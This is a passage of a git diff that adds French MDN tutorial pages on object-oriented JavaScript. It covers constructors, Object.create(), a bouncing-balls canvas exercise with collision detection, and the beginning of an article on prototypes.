Note : On parle de polymorphisme, lorsque des objets réutilisent la même propriété,  mais c'est juste pour info, vous embêtez pas.

+
+ +

Une fois la classe fille créée il est alors possible de l'instancier et de créer des objets. Par exemple :

+ +

Professor instantiation example for JS fr

+ +

Dans la suite de l'article, nous nous intéresserons à la mise en œuvre de la programmation orientée objet (POO) au sein de JavaScript.

+ +

Constructeurs et instances d'objet

+ +

Certains disent que le JavaScript n'est pas vraiment un langage de programmation orienté objet — Il n'existe pas, en JavaScript d'élément class pour créer des classes alors que c'est le cas dans plusieurs langages orientés objet. JavaScript quant à lui, utilise des fonctions spéciales appelées constructeurs pour définir les objets et leurs propriétés. Ces constructeurs s'avèrent utiles, puisque bien souvent, nous ne savons pas combien d'objets nous allons définir, les constructeurs nous permettent de créer autant d'objets que nécessaire et d'y associer des données et des fonctions au fur et à mesure.

+ +

Lorsqu'un objet est instancié à partir d'une fonction constructeur, les fonctions de la classe ne sont pas copiées directement dans l'objet comme dans la plupart des langages orientés objet (OO). En JavaScript, les fonctions sont liées grâce à une chaîne de référence appelée chaîne prototype (voir Prototypes Objet). Il ne s'agit donc pas d'une véritable instanciation au sens strict puisque JavaScript utilise un mécanisme différent pour partager des fonctionnalités entre les objets.

+ +
+

Note : Ne pas être un "langage classique de POO" n'est pas nécessairement un défaut. Comme nous le mentionnions au début de l'article, la POO peut très vite devenir compliquée et JavaScript, grâce à ses différences parvient à utiliser certains concepts avancés tout en restant abordable.

+
+ +

Voyons comment créer des classes via les constructeurs et les utiliser pour instancier des objets en JavaScript. Nous allons commencer par faire une copie locale du fichier oojs.html que nous avons vu dans notre premier article sur les objets.

+ +

Un exemple simple

+ +
    +
  1. Tout d'abord ; voyons comment définir une personne au travers d'une fonction classique. Vous pouvez ajouter l'exemple ci-dessous dans votre code existant : + 
    function creerNouvellePersonne(nom) {
+  var obj = {};
+  obj.nom = nom;
+  obj.salutation = function() {
+    alert('Salut ! Je m\'appelle ' + this.nom + '.');
+  };
+  return obj;
+}
    +
    2. +
  2. Vous pouvez désormais créer une personne en appelant cette fonction, essayez en copiant les lignes suivantes dans la console JavaScript de votre navigateur : + 
    var salva = creerNouvellePersonne('Salva');
+salva.nom;
+salva.salutation();
    + Ça fonctionne bien, mais on peut améliorer notre exemple. Si l'on sait que l'on va créer un objet, pourquoi créer un objet vide pour l'utiliser ensuite ? Heureusement, JavaScript est là et possède des fonctions adaptées comme les constructeurs. À l'abordage !
    3. +
  3. Remplacez la fonction précédente par celle-ci : + 
    function Personne(nom) {
+  this.nom = nom;
+  this.salutation = function() {
+    alert('Bonjour ! Je m\'appelle ' + this.nom + '.');
+  };
+}
    +
    4. +
+ +

Le constructeur est l'équivalent JavaScript d'une classe. Il possède l'ensemble des fonctionnalités d'une fonction, cependant il ne renvoie rien et ne crée pas d'objet explicitement. Il se contente de définir les propriétés et les méthodes associées. Il y a aussi l'utilisation du mot-clé this, ce mot-clé sert au sein d'une instance qui sera créée à y faire référence, ainsi l'attribut nom sera, pour l'instance, égal au nom passé en argument de la fonction constructrice, la méthode salutation() retournera elle aussi le nom passé en argument de la fonction constructrice.

+ +
+

Note : Les fonctions de type constructeur commencent généralement par une majuscule. Cette convention d'écriture permet de repérer les constructeurs plus facilement dans le code.

+
+ +

Comment pouvons-nous utiliser un constructeur ?

+ +
    +
  1. Ajoutez les lignes suivantes au code déjà existant : + 
    var personne1 = new Personne('Bob');
+var personne2 = new Personne('Sarah');
    +
    2. +
  2. Enregistrez votre code et relancez le dans votre navigateur puis essayez d'entrer les lignes suivantes dans la console : + 
    personne1.nom
+personne1.salutation()
+personne2.nom
+personne2.salutation()
    +
    3. +
+ +

Pas mal ! Vous voyez désormais que nous avons deux nouveaux objets sur cette page, chaque objet étant stocké dans un espace de nom différent, pour y accéder il faut utiliser personne1 et personne2 pour préfixer les fonctions et attributs. Ce rangement permet de ne pas tout casser et de ne pas rentrer en collision avec d'autres fonctionnalités. Cependant les objets disposent du même attribut nom et de la même méthode salutation(). Heureusement, les attributs et les méthodes utilisent this ce qui leur permet d'utiliser les valeurs propres à chaque instance et de ne pas les mélanger.

+ +

Revoyons l'appel au constructeur :

+ +
var personne1 = new Personne('Bob');
+var personne2 = new Personne('Sarah');
+ +

Dans chaque cas, le mot clé new est utilisé pour dire au navigateur que nous souhaitons définir une nouvelle instance, il est suivi du nom de la fonction que l'on utilise et de ses paramètres fournis entre parenthèses, le résultat est stocké dans une variable. Chaque instance est créée à partir de cette définition :

+ +
function Personne(nom) {
+  this.nom = nom;
+  this.salutation = function() {
+    alert('Bonjour ! Je m\'appelle ' + this.nom + '.');
+  };
+}
+ +

Une fois les objets créés, les variables personne1 et personne2 contiennent les objets suivants :

+ +
{
+  nom: 'Bob',
+  salutation: function() {
+    alert('Bonjour ! Je m\'appelle ' + this.nom + '.');
+  }
+}
+
+{
+  nom: 'Sarah',
+  salutation: function() {
+    alert('Bonjour ! Je m\'appelle ' + this.nom + '.');
+  }
+}
+ +

On peut remarquer qu'à chaque appel de notre fonction constructrice nous définissons salutation() à chaque fois. Cela peut être évité via la définition de la fonction au sein du prototype, ce que nous verrons plus tard.

+ +

Créons une version finalisée de notre constructeur

+ +

L'exemple que nous avons utilisé jusqu'à présent était destiné à aborder les notions de base des constructeurs. Créons un constructeur digne de ce nom pour notre fonction constructrice Personne().

+ +
    +
  1. Vous pouvez retirer le code que vous aviez ajouté précédemment pour le remplacer par le constructeur suivant, c'est la même fonction, ça reste un constructeur, nous avons juste ajouté quelques détails : + 
    function Personne(prenom, nom, age, genre, interets) {
+  this.nom = {
+    prenom,
+    nom
+  };
+  this.age = age;
+  this.genre = genre;
+  this.interets = interets;
+  this.bio = function() {
+    alert(this.nom.prenom + ' ' + this.nom.nom + ' a ' + this.age + ' ans. Il aime ' + this.interets[0] + ' et ' + this.interets[1] + '.');
+  };
+  this.salutation = function() {
+    alert('Bonjour ! Je m\'appelle ' + this.nom.prenom + '.');
+  };
+};
    +
    2. +
  2. Vous pouvez ajouter la ligne ci-dessous pour créer une instance à partir du constructeur : + 
    var personne1 = new Personne('Bob', 'Smith', 32, 'homme', ['musique', 'ski']);
    +
    3. +
+ +

Vous pouvez accéder aux fonctions des objets instanciés de la même manière qu'avant :

+ +
personne1['age']
+personne1.interets[1]
+personne1.bio()
+// etc.
+ +
+

Note : Si vous avez du mal à faire fonctionner cet exemple, vous pouvez comparez votre travail avec notre version (voir oojs-class-finished.html (vous pouvez aussi jeter un œil à la démo)

+
+ +

Exercices

+ +

Vous pouvez démarrer en instanciant de nouveaux objets puis en essayant de modifier et d'accéder à leurs attributs respectifs.

+ +

D'autre part, il y a quelques améliorations possibles pour notre méthode bio(). En effet elle affiche systématiquement le pronom 'il', même si votre personne est une femme ou bien préfère se définir par un autre genre. De plus, la biographie n'inclut que deux passions, même s'il y en a plus dans la liste. Essayez d'améliorer cette méthode. Vous pourrez mettre votre code à l'intérieur du constructeur (vous aurez probablement besoin de quelques structures conditionnelles et d'une boucle). Réflechissez à la syntaxe des phrases qui devra s'adapter en fonction du genre et du nombre de passions listées.

+ +
+

Note: Si vous êtes bloqués, nous avons mis une réponse possible sur notre dépôt GitHub (la démo) —tentez d'abord l'aventure avant d'aller regarder la réponse !

+
+ +

D'autres manières d'instancier des objets

+ +

Jusque là nous n'avons abordé que deux manières différentes pour créer une instance d'objet, la déclarer de manière explicite et en utilisant le constructeur.

+ +

Elles sont toutes les deux valables, mais il en existe d'autres. Afin que vous les reconnaissiez lorsque vous vous baladez sur le Web, nous en avons listées quelques unes.

+ +

Le constructeur Object()

+ +

Vous pouvez en premier lieu utiliser le constructeur Object() pour créer un nouvel objet. Oui, même les objets génériques ont leur propre constructeur, qui génère un objet vide.

+ +
    +
  1. Essayez la commande suivante dans la console JavaScript de votre navigateur : + 
    var personne1 = new Object();
    +
    2. +
  2. On stocke ainsi un objet vide dans la variable personne1. Vous pouvez ensuite ajouter des attributs et des méthodes à cet objet en utilisant la notation point ou parenthèses comme vous le souhaitez. + 
    personne1.nom = 'Chris';
+personne1['age'] = 38;
+personne1.salutation = function() {
+  alert('Bonjour ! Je m\'appelle ' + this.nom + '.');
+};
    +
    3. +
  3. Vous pouvez aussi passer un objet en paramètre du constructeur Object(), afin de prédéfinir certains attributs et méthodes. + 
    var personne1 = new Object({
+  nom: 'Chris',
+  age: 38,
+  salutation: function() {
+    alert('Bonjour ! Je m\'appelle ' + this.nom + '.');
+  }
+});
    +
    4. +
+ +

Via la méthode create()

+ +

Les constructeurs permettent de structurer le code : vous pouvez avoir l'ensemble de vos constructeurs au même endroit et ensuite créer les instances suivant vos besoins, en identifiant clairement leur origine.  

+ +

Cependant, on peut vouloir créér des instances d'un objet, sans forcément définir un constructeur au préalable. (Particulierement si l'on a peu d'instances de cet object). JavaScript intègre directement une méthode appelée create() qui rend cela possible. Elle permet d'instancier un objet à partir d'un objet existant  .

+ +
    +
  1. Essayez d'ajouter la ligne suivante dans votre console JavaScript : + 
    var personne2 = Object.create(personne1);
    +
    2. +
  2. Maintenant : + 
    personne2.nom
+personne2.salutation()
    +
    3. +
+ +

personne2 a été créée à partir de personne1 — et elle possède les mêmes propriétés. 

+ +

L'inconvénient de create() est qu'elle n'est pas supportée par IE8. Ainsi, utiliser les constructeurs peut s'avérer plus judicieux lorsqu'il s'agit de supporter les anciens navigateurs Web.

+ +

Nous verrons les détails et les effets de create() plus tard.

+ +

Résumé

+ +

Cet article vous a donné un aperçu simplifié de la programmation orientée objet. Tout n'y a pas été détaillé mais ça vous permet de vous faire une idée. Nous avons vu comment JavaScript s'appuyait sur un certain nombre de principes orienté objet tout en ayant un certain nombre de particularités. Nous avons aussi vu comment implémenter des classes en JavaScript via la fonction constructeur ainsi que les différentes manières de générer des instances d'objets.

+ +

Dans le prochain article, nous explorerons le monde des objets prototypes en JavaScript.

+ +

{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}

diff --git a/files/fr/learn/javascript/objects/object_building_practice/index.html b/files/fr/learn/javascript/objects/object_building_practice/index.html new file mode 100644 index 0000000000..a2ab4270eb --- /dev/null +++ b/files/fr/learn/javascript/objects/object_building_practice/index.html @@ -0,0 +1,316 @@ +--- +title: La construction d'objet en pratique +slug: Learn/JavaScript/Objects/la_construction_d_objet_en_pratique +tags: + - Apprendre + - Article + - Canvas + - Débutant + - JavaScript + - Manuel + - Objets + - Tutoriel +translation_of: Learn/JavaScript/Objects/Object_building_practice +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}
+ +

Dans l'article précédent, nous avons passé en revue l'essentiel de la théorie de l'objet Javascript et sa syntaxe détaillée, vous donnant ainsi des bases solides sur lesquelles commencer. Dans le présent article nous plongeons dans un exercice pratique afin d'accroître votre savoir-faire dans la construction d'objets entièrement personnalisés donnant un résultat plutôt amusant et très coloré.

+ + + + + + + + + + + + +
Pré-requis : +

Connaissance basique de l'informatique, une compréhension basique du HTML et du CSS, une familiarité avec  les bases du JavaScript (voir Premiers pas et Les blocs de construction) et les bases de la programmation objet en JavaScript (voir Introduction aux objets). 

+
Objectif : +

Acquérir plus de pratique dans l'utilisation des objets et des techniques orientées objet dans un contexte "monde réel".

+
+ +

Faisons bondir quelques balles

+ +

Dans cet article, nous écrirons une démo classique de "balles bondissantes", pour vous montrer à quel point les objets peuvent être utiles en JavaScript. Nos petites balles bondiront partout sur notre écran et changeront de couleurs lorsqu'elles se toucheront. L'exemple finalisé ressemblera un peu à ceci : 

+ +

+ +
    +
+ +

Cet exemple utilise l'API Canvas  pour dessiner les balles sur l'écran, et l'API requestAnimationFrame  pour animer l'ensemble de l'affichage — Nul besoin d'avoir une connaissance préalable de ces APIs, nous expérons qu'une fois cet article terminé, vous aurez envie d'en faire une exploration approfondie. Tout le long du parcours nous utiliserons certains objets formidables et vous montrerons nombre de techniques sympathiques comme des balles bondissantes sur les murs et la vérification de balles qui s'entrechoquent (encore connue sous l'appelation détection de collision).

+ +

Pour commencer, faites des copies locales de nos fichiers index.html, style.css, et main.js. Ces fichiers contiennent respectivement :

+ +
    +
  1. Un document  HTML très simple contenant un élément {{HTMLElement("h1")}} , un élément {{HTMLElement("canvas")}} pour dessiner nos balles dessus et des élements  pour appliquer notre CSS et notre JavaScript à notre HTML ;
    2. +
  2. Quelques styles très simples qui servent principalement à mettre en forme et placer le <h1>, et se débarasser de toutes barres de défilement ou de marges autour du pourtour de notre page (afin que cela paraisse plus sympathique et élégant) ;
    3. +
  3. Un peu de JavaScript qui sert à paramétrer l'élément  <canvas> et fournir les fonctions globalles que nous utiliserons.
    4. +
+ +

La première partie du script ressemble à ceci :

+ +
const canvas = document.querySelector('canvas');
+
+const ctx = canvas.getContext('2d');
+
+const width = canvas.width = window.innerWidth;
+const height = canvas.height = window.innerHeight;
+ +

Ce script prend une référence à l'élément  <canvas> et ensuite invoque la méthode  getContext() sur lui, nous donnant ainsi un contexte sur lequel nous pouvons commencer à dessiner. La variable résultante  (ctx)  est l'objet qui représente directement la surface du Canvas où nous pouvons dessiner et qui nous permet de dessiner des formes 2D sur ce dernier. 

+ +

Après, nous configurons  les variables width (largeur) et height(hauteur),  et la largeur et la hauteur de l'élément canvas (représentés par les propriétés  canvas.width et canvas.height ) afin qu'elles soient identiques à la fenêtre du navigateur (la surface sur laquelle apparaît la page web— Ceci peut être tiré des propriétés {{domxref("Window.innerWidth")}} et {{domxref("Window.innerHeight")}}).

+ +

Vous verrez qu'ici nous enchaînons les assignations des valeurs des différentes variables ensemble à des fins de rapidité. Ceci est parfaitement autorisé.

+ +

Le dernier morceau du script ressemble à ceci :

+ +
function random(min, max) {
+  var num = Math.floor(Math.random() * (max - min + 1)) + min;
+  return num;
+}
+ +

Cette fonction prend deux nombres comme arguments, et renvoie un nombre compris entre les deux. 

+ +

Modéliser une balle dans notre programme

+ +

Notre programme met en œuvre beaucoup de balles bondissant partout sur l'écran. Comme nos balles se comporteront toutes de la même façon, cela semble tout à fait sensé de les représenter avec un objet. Commençons donc en ajoutant le constructeur suivant à la fin de notre code.

+ +
function Ball(x, y, velX, velY, color, size) {
+  this.x = x;
+  this.y = y;
+  this.velX = velX;
+  this.velY = velY;
+  this.color = color;
+  this.size = size;
+}
+ +

Ici, nous incluons des paramètres qui définissent  des propriétés dont chaque balle aura besoin pour fonctionner dans notre programme :

+ +
    +
  • Les coordonnées x et y  — les coordonnées verticales et horizontales où la balle débutera sur l'écran. Ceci peut se trouver entre 0 (coin à gauche en haut) et la valeur de la hauteur et de la largeur de la fenêtre du navigateur (coin en bas à droite).
    • +
  • Une vitesse horizontale et verticale (velX et velY) — à chaque balle est attribuée une vitesse horizontale et verticale; en termes réels ces valeurs seront régulièrement ajoutéés aux valeurs de la coordonnée x/y quand nous commencerons à animer les balles, afin de les faire bouger d'autant sur chaque vignette (frame).
    • +
  • color — chaque balle a une couleur.
    • +
  • size — chaque balle a une taille — ce sera son rayon mesuré en pixels.
    • +
+ +

Ceci règle le problème des propriétés mais qu'en est il des méthodes ? Nous voulons maintenant amener nos balles à faire quelque chose dans notre programme.

+ +

Dessiner la balle

+ +

En premier lieu ajoutez la méthode draw() au prototype de Ball() :

+ +
Ball.prototype.draw = function() {
+  ctx.beginPath();
+  ctx.fillStyle = this.color;
+  ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI);
+  ctx.fill();
+}
+ +

En utilisant cette fonction, nous pouvons dire à notre balle de se dessiner sur l'écran en appelant une série de membres du contexte 2D du canvas que nous avons défini plus tôt  (ctx). Le contexte est comme le papier et maintenant nous allons demander à notre stylo d'y dessiner quelque chose :

+ +
    +
  • Premièrement, nous utilisons beginPath() pour spécifier que nous voulons dessiner une forme sur le papier.
    • +
  • Ensuite, nous utilisons fillStyle pour définir de quelle couleur nous voulons que la forme soit — nous lui attribuons la valeur de la propriété color de notre balle.
    • +
  • Après, nous utilisons la méthode arc() pour tracer une forme en arc sur le papier. Ses paramètres sont : +
      +
    • Les positions x et y du centre de l'arc — nous specifions donc les propriétés x et y de notre balle.
      • +
    • Le rayon de l'arc — nous specifions la propriété size de notre balle.
      • +
    • Les deux derniers paramètres spécifient l'intervalle de début et de fin en degrés pour dessiner l'arc. Ici nous avons spécifié 0 degrés et 2 * PI qui est l'équivalent de 360 degrés en radians (malheureusement  vous êtes obligés  de spécifier ces valeurs en radians et non en degrés). Cela nous donne un cercle complet. Si vous aviez spécifié seulement  1 * PI, vous auriez eu un demi-cercle (180 degrés).
      • +
    +
    • +
  • En dernière position nous utilisons la méthode fill() qui est habituellement utilisée pour spécifier que nous souhaitons mettre fin au dessin que nous avons commencé avec beginPath(), et remplir la surface délimitée avec la couleur que nous avions spécifiée plus tôt avec fillStyle.
    • +
+ +

Vous pouvez déjà commencer à tester votre objet.

+ +
    +
  1. Sauvegardez le code et chargez le fichier html dans un navigateur.
    2. +
  2. Ouvrez la console JavaScript du navigateur et actualisez la page afin que la taille du canvas change et prenne la petite taille restante de la fenêtre lorsque la console est ouverte.
    3. +
  3. Tapez dans la console ce qui suit afin de créer une nouvelle instance de balle : + 
    let testBall = new Ball(50, 100, 4, 4, 'blue', 10);
    +
    4. +
  4. Essayez d'appeler ses membres : + 
    testBall.x
+testBall.size
+testBall.color
+testBall.draw()
    +
    5. +
  5. Lorsque vous entrerez la dernière ligne, vous devriez voir la balle se dessiner quelque part sur votre canvas.
    6. +
+ +

Mettre à jour les données de la balle

+ +

Nous pouvons dessiner la balle dans n'importe quelle position, mais actuellement pour commencer à la bouger nous aurons besoin d'une sorte de fonction de mise à jour. Insérez donc le code suivant à la fin de votre fichier JavaScript pour ajouter une méthode update() au prototype de Ball():

+ +
Ball.prototype.update = function() {
+  if ((this.x + this.size) >= width) {
+    this.velX = -(this.velX);
+  }
+
+  if ((this.x - this.size) <= 0) {
+    this.velX = -(this.velX);
+  }
+
+  if ((this.y + this.size) >= height) {
+    this.velY = -(this.velY);
+  }
+
+  if ((this.y - this.size) <= 0) {
+    this.velY = -(this.velY);
+  }
+
+  this.x += this.velX;
+  this.y += this.velY;
+}
+ +

Les quatre premières parties de la fonction vérifient si la balle a atteint le rebord  du canvas. Si c'est le cas, nous inversons la polarité de la vitesse appropriée pour faire bouger la balle dans le sens opposé. Donc par exemple, si la balle se déplaçait vers le haut (positif velY) alors la vitesse verticale est changée afin qu'elle commence à bouger plutôt vers le bas (negatif velY).

+ +

Dans les quatre cas nous :

+ +
    +
  • Verifions si la coordonnée x est plus grande que la largeur du canvas (la balle est en train de sortir du côté droit).
    • +
  • Verifions si la coordonnée x est plus petite que 0 (la balle est en train de sortir du côté gauche).
    • +
  • Verifions si la coordonnée y est plus grande que la hauteur du canvas (la balle est en train de sortir par le bas).
    • +
  • Verifions si la coordonnée y est plus petite que 0 (la balle est en train de sortir par le  haut).
    • +
+ +

Dans chaque cas, nous incluons la taille size de la balle dans les calculs parce que les coordonnées  x/y  sont situées au centre de la balle mais nous voulons que le pourtour de la balle rebondisse sur le rebord  — nous ne voulons pas que la balle sorte à moité hors de l'écran avant de commencer à rebondir vers l'arrière.

+ +

Les deux dernières lignes ajoutent la valeur velX à la coordonnée x et la valeur velY à la coordonnée y — la balle est en effet mise en mouvement chaque fois que cette méthode est invoquée.

+ +

Cela suffira pour l'instant, passons à l'animation !

+ +

Animer la balle

+ +

Maintenant, rendons cela amusant. Nous allons commencer à ajouter des balles au canvas et à les animer.

+ +
    +
  1. Tout d'abord, nous avons besoin d'un endroit où stocker toutes nos balles. Le tableau suivant fera ce travail — ajoutez-le au bas de votre code maintenant : + + 
    let balls = [];
+
    + + 
    while (balls.length < 25) {
+  let size = random(10,20);
+  let ball = new Ball(
+    // ball position always drawn at least one ball width
+    // away from the edge of the canvas, to avoid drawing errors
+    random(0 + size,width - size),
+    random(0 + size,height - size),
+    random(-7,7),
+    random(-7,7),
+    'rgb(' + random(0,255) + ',' + random(0,255) + ',' + random(0,255) +')',
+    size
+  );
+
+  balls.push(ball);
+}
    + Tous les programmes qui animent les choses impliquent généralement une boucle d'animation, qui sert à mettre à jour les informations dans le programme et à restituer ensuite la vue résultante sur chaque image de l'animation. C'est la base de la plupart des jeux et autres programmes similaires.
    2. +
  2. Ajoutez ce qui suit au bas de votre code maintenant : + 
    function loop() {
+  ctx.fillStyle = 'rgba(0, 0, 0, 0.25)';
+  ctx.fillRect(0, 0, width, height);
+
+  for (let i = 0; i < balls.length; i++) {
+    balls[i].draw();
+    balls[i].update();
+  }
+
+  requestAnimationFrame(loop);
+}
    + +

    Notre fonction loop() fonctionne comme suit :

    + +
      +
    • On définit la couleur de remplissage du canvas en noir semi-transparent, puis dessine un rectangle de couleur sur toute la largeur et la hauteur du canvas, en utilisant fillRect() (les quatre paramètres fournissent une coordonnée de départ et une largeur et une hauteur pour le rectangle dessiné ). Cela sert à masquer le dessin de l'image précédente avant que la suivante ne soit dessinée. Si vous ne faites pas cela, vous verrez juste de longs serpents se faufiler autour de la toile au lieu de balles qui bougent ! La couleur du remplissage est définie sur semi-transparent, rgba (0,0,0,.25), pour permettre aux quelques images précédentes de briller légèrement, produisant les petites traînées derrière les balles lorsqu'elles se déplacent. Si vous avez changé 0.25 à 1, vous ne les verrez plus du tout. Essayez de faire varier ce dernier nombre (entre 0 et 1) pour voir l'effet qu'il a.
      • +
    • On crée un nouvel objet Ball() avec des attributs générées aléatoirement grâce à la fonction random(), puis on ajoute l'objet au tableau, mais seulement lorsque le nombre de balles dans le tableau est inférieur à 25. Donc quand on a 25 balles à l'écran, plus aucune balle supplémentaire n'apparaît. Vous pouvez essayer de faire varier le nombre dans balls.length <25 pour obtenir plus, ou moins de balles à l'écran. En fonction de la puissance de traitement de votre ordinateur / navigateur, spécifier plusieurs milliers de boules peut ralentir l'animation de façon très significative !
      • +
    • Le programme boucle à travers tous les objets du tableau sur chacun desquels il exécute la fonction draw() et update() pour dessiner à l'écran chaque balle et faire les mise à jour de chaque attribut vant le prochain rafraîchissement.
      • +
    • Exécute à nouveau la fonction à l'aide de la méthode requestAnimationFrame() — lorsque cette méthode est exécutée en permanence et a reçu le même nom de fonction, elle exécute cette fonction un nombre défini de fois par seconde pour créer une animation fluide. Cela se fait généralement de manière récursive — ce qui signifie que la fonction s'appelle elle-même à chaque fois qu'elle s'exécute, de sorte qu'elle sera répétée encore et encore.
      • +
    +
    3. +
  3. Finallement mais non moins important, ajoutez la ligne suivante au bas de votre code — nous devons appeler la fonction une fois pour démarrer l'animation. + 
    loop();
    +
    4. +
+ +

Voilà pour les bases — essayez d'enregistrer et de rafraîchir pour tester vos balles bondissantes!

+ +

Ajouter la détection de collision

+ +

Maintenant, pour un peu de plaisir, ajoutons une détection de collision à notre programme, afin que nos balles sachent quand elles ont frappé une autre balle.

+ +
    +
  1. Tout d'abord, ajoutez la définition de méthode suivante ci-dessous où vous avez défini la méthode update() (c'est-à-dire le bloc Ball.prototype.update). + + 
    Ball.prototype.collisionDetect = function() {
+  for (let j = 0; j < balls.length; j++) {
+    if (!(this === balls[j])) {
+      const dx = this.x - balls[j].x;
+      const dy = this.y - balls[j].y;
+      const distance = Math.sqrt(dx * dx + dy * dy);
+
+      if (distance < this.size + balls[j].size) {
+        balls[j].color = this.color = 'rgb(' + random(0, 255) + ',' + random(0, 255) + ',' + random(0, 255) +')';
+      }
+    }
+  }
+}
    + +

    Cette méthode est un peu complexe, donc ne vous inquiétez pas si vous ne comprenez pas exactement comment cela fonctionne pour le moment. Regardons cela pas-à-pas :

    + +
      +
    • Pour chaque balle b, nous devons vérifier chaque autre balle pour voir si elle est entrée en collision avec b. Pour ce faire, on inspecte toutes les balles du tableau balls[] dans une boucle for.
      • +
    • Immédiatement à l'intérieur de cette boucle for, une instruction if vérifie si la balle courante  b' , inspectée dans la boucle, n'est égale à la balle b. Le code correspondant est :  b'!== b. En effet, nous ne voulons pas vérifier si une balle b est entrée en collision avec elle-même ! Nous contrôlons donc si la balle actuelle b—dont la méthode collisionDetect() est invoquée—est distincte de la balle b' inspectée dans la boucle. Ainsi le bloc de code venant après l'instruction if ne s'exécutera que si les balles b et b' ne sont pas identiques.
      • +
    • Un algorithme classique permet ensuite de vérifier la superposition de deux disques. Ceci est expliqué plus loin dans 2D collision detection.
      • +
    • Si une collision est détectée, le code à l'intérieur de l'instruction interne if est exécuté. Dans ce cas, nous définissons simplement la propriété color des deux cercles à une nouvelle couleur aléatoire. Nous aurions pu faire quelque chose de bien plus complexe, comme faire rebondir les balles de façon réaliste, mais cela aurait été beaucoup plus complexe à mettre en œuvre. Pour de telles simulations de physique, les développeurs ont tendance à utiliser des bibliothèques de jeux ou de physiques telles que PhysicsJS, matter.js, Phaser, etc.
      • +
    +
    2. +
  2. Vous devez également appeler cette méthode dans chaque image de l'animation. Ajouter le code ci-dessous  juste après la ligne balls[i].update();: + 
    balls[i].collisionDetect();
    +
    3. +
  3. Enregistrez et rafraîchissez la démo à nouveau, et vous verrez vos balles changer de couleur quand elles entrent en collision !
    4. +
+ +
+

Note : Si vous avez des difficultés à faire fonctionner cet exemple, essayez de comparer votre code JavaScript avec notre version finale (voir également la démo en ligne).

+
+ +

Résumé

+ +

Nous espérons que vous vous êtes amusé à écrire votre propre exemple de balles aléatoires bondissantes comme dans le monde réel, en utilisant diverses techniques orientées objet et divers objets d'un bout à l'autre du module ! Nous espérons vous avoir offert un aperçu utile de l'utilisation des objets.
+
+ C'est tout pour les articles sur les objets — il ne vous reste plus qu'à tester vos compétences dans l'évaluation sur les objets.

+ +

Voir aussi

+ + + +

{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}

+ + + +

Dans ce module

+ + diff --git a/files/fr/learn/javascript/objects/object_prototypes/index.html b/files/fr/learn/javascript/objects/object_prototypes/index.html new file mode 100644 index 0000000000..efb3681f18 --- /dev/null +++ b/files/fr/learn/javascript/objects/object_prototypes/index.html @@ -0,0 +1,244 @@ +--- +title: Prototypes Objet +slug: Learn/JavaScript/Objects/Prototypes_Objet +tags: + - Constructeur + - JavaScript + - Prototype +translation_of: Learn/JavaScript/Objects/Object_prototypes +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}
+ +

Les prototypes sont un mécanisme au sein de JavaScript qui permettent aux objets JavaScript d'hériter des propriétés d'autres objets. Les prototypes implémentent un héritage différent de celui rencontré dans les langages de programmation objets habituels. Dans cet article, nous allons aborder ces différences, nous allons aussi voir comment la chaîne de prototypage fonctionne. Nous verrons aussi comment les propriétés prototypes peuvent être utilisées afin d'ajouter des méthodes à des constructeurs existants.

+ + + + + + + + + + + + +
Pré-requis :Une connaissance générale de l'informatique, des notions d'HTML et CSS, une connaissance des bases en JavaScript (voir Premiers pas et Blocs de construction) ainsi que des notions de JavaScript orienté objet (JSOO) (voir Introduction aux objets).
Objectifs :Comprendre le concept de prototype en JavaScript, comprendre comment fonctionne une chaîne de prototypage et comment ajouter de nouvelles méthodes aux propriétés d'un prototype.
+ +

Un langage basé sur des prototypes ?

+ +

JavaScript est souvent décrit comme un langage basé sur les prototypes, chaque objet pouvant avoir un prototype objet d'où il hérite des méthodes et des attributs. Un prototype peut lui aussi avoir son prototype objet duquel il héritera des méthodes et des attributs et ainsi de suite. On parle alors de chaîne de prototypage (ou prototype chain en anglais). Cela permet d'expliquer pourquoi différents objets possèdent des attributs et des méthodes définis à partir d'autres objets.

+ +

En réalité, les méthodes et attributs sont définis dans l'attribut prototype , la fonction constructrice de l'objet et non pas dans les instances des objets elles-mêmes.

+ +

En programmation orientée objet classique, les classes sont définies, puis lorsque des instances sont créées, l'ensemble des attributs et des méthodes sont copiés dans l'instance. En JavaScript en revanche, tout n'est pas copié : on établit un lien entre l'objet instancié et son constructeur (c'est un lien dans la chaîne de prototypage). On détermine alors les méthodes et les attributs en remontant la chaîne.

+ +
+

Note: Il faut bien comprendre qu'il y a une différence entre la notion de prototype d'un objet (qu'on obtient via Object.getPrototypeOf(obj), ou via la propriété dépréciée  __proto__ ) et l' attribut prototyped'une fonction constructrice. La première concerne chaque instance, le dernier existe uniquement sur une fonction constructrice. Cela dit, Object.getPrototypeOf(new Foobar()) renvoie au même object queFoobar.prototype.

+
+ +

Prenons un exemple afin de rendre cela un peu plus clair.

+ +

Comprendre les prototypes objet

+ +

Reprenons notre exemple dans lequel nous avions écrit notre constructeur Personne(). Chargez cet exemple dans votre navigateur, si vous ne l'avez plus, vous pouvez utiliser notre exemple oojs-class-further-exercises.html example (voir aussi le code source).

+ +

Dans cet exemple, nous avons défini un constructeur comme suit :

+ +
function Personne(prenom, nom, age, genre, interets) {
+
+  // property and method definitions
+
+};
+ +

Nous avons ensuite instancié des objets comme ceci :

+ +
var personne1 = new Personne('Bob', 'Smith', 32, 'homme', ['musique', 'ski']);
+ +

Si vous entrez  « personne1 » dans votre console JavaScript, vous devriez voir que le navigateur essaie de faire de l'auto-complétion avec les attributs de cet objet.

+ +

+ +

Dans cette liste vous verrez les membres définis au niveau du constructeur de personne1 qui n'est autre  Personne(). On y trouve les valeurs suivantes : nom, age, genre, interets, bio, et salutation. On peut voir aussi d'autres membres tels que watch, valueOf …  Ces membres particuliers sont définis au niveau du prototype objet du constructeur Personne(), qui est Object. On voit ici une mise en œuvre de la chaine de prototypage.

+ +

+ +

Que peut-il bien se passer lorsque l'on tente d'appeler une méthode définie pour Object en l'appliquant à Personne1 ? Par exemple :

+ +
personne1.valueOf()
+ +

